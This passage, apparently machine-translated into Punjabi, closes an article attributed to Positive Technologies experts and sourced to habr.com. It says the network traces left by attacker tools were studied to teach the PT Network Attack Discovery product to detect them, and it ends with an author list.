ਮਸ਼ੀਨਾਂ 'ਤੇ ਹਨ ਅਤੇ ਸੁਰੱਖਿਆ ਉਪਾਵਾਂ ਨੂੰ ਬਾਈਪਾਸ ਕਰਨ ਵਿੱਚ ਉਹਨਾਂ ਦੀ ਮਦਦ ਕਰਦੇ ਹਨ। ਅਸੀਂ ਨੈੱਟਵਰਕ ਸੰਚਾਰ ਦਾ ਅਧਿਐਨ ਕਰਨ 'ਤੇ ਧਿਆਨ ਕੇਂਦ੍ਰਤ ਕਰਦੇ ਹਾਂ: ਉੱਪਰ ਦੱਸੇ ਗਏ ਹਰੇਕ ਸਾਧਨ ਨੈੱਟਵਰਕ ਟ੍ਰੈਫਿਕ ਵਿੱਚ ਆਪਣੇ ਖੁਦ ਦੇ ਨਿਸ਼ਾਨ ਛੱਡਦਾ ਹੈ; ਉਹਨਾਂ ਦੇ ਵਿਸਤ੍ਰਿਤ ਅਧਿਐਨ ਨੇ ਸਾਨੂੰ ਆਪਣਾ ਉਤਪਾਦ ਸਿਖਾਉਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੱਤੀ ਪੀਟੀ ਨੈੱਟਵਰਕ ਅਟੈਕ ਡਿਸਕਵਰੀ ਉਹਨਾਂ ਦਾ ਪਤਾ ਲਗਾਓ, ਜੋ ਆਖਰਕਾਰ ਉਹਨਾਂ ਨੂੰ ਸ਼ਾਮਲ ਕਰਨ ਵਾਲੀਆਂ ਸਾਈਬਰ ਘਟਨਾਵਾਂ ਦੀ ਪੂਰੀ ਲੜੀ ਦੀ ਜਾਂਚ ਕਰਨ ਵਿੱਚ ਮਦਦ ਕਰਦਾ ਹੈ।

ਲੇਖਕ:

• ਐਂਟਨ ਟਿਯੂਰਿਨ, ਮਾਹਰ ਸੇਵਾਵਾਂ ਵਿਭਾਗ ਦੇ ਮੁਖੀ, ਪੀਟੀ ਮਾਹਰ ਸੁਰੱਖਿਆ ਕੇਂਦਰ, ਸਕਾਰਾਤਮਕ ਤਕਨਾਲੋਜੀਆਂ
• ਈਗੋਰ ਪੋਡਮੋਕੋਵ, ਮਾਹਰ, ਪੀਟੀ ਮਾਹਰ ਸੁਰੱਖਿਆ ਕੇਂਦਰ, ਸਕਾਰਾਤਮਕ ਤਕਨਾਲੋਜੀਆਂ

ਸਰੋਤ: www.habr.com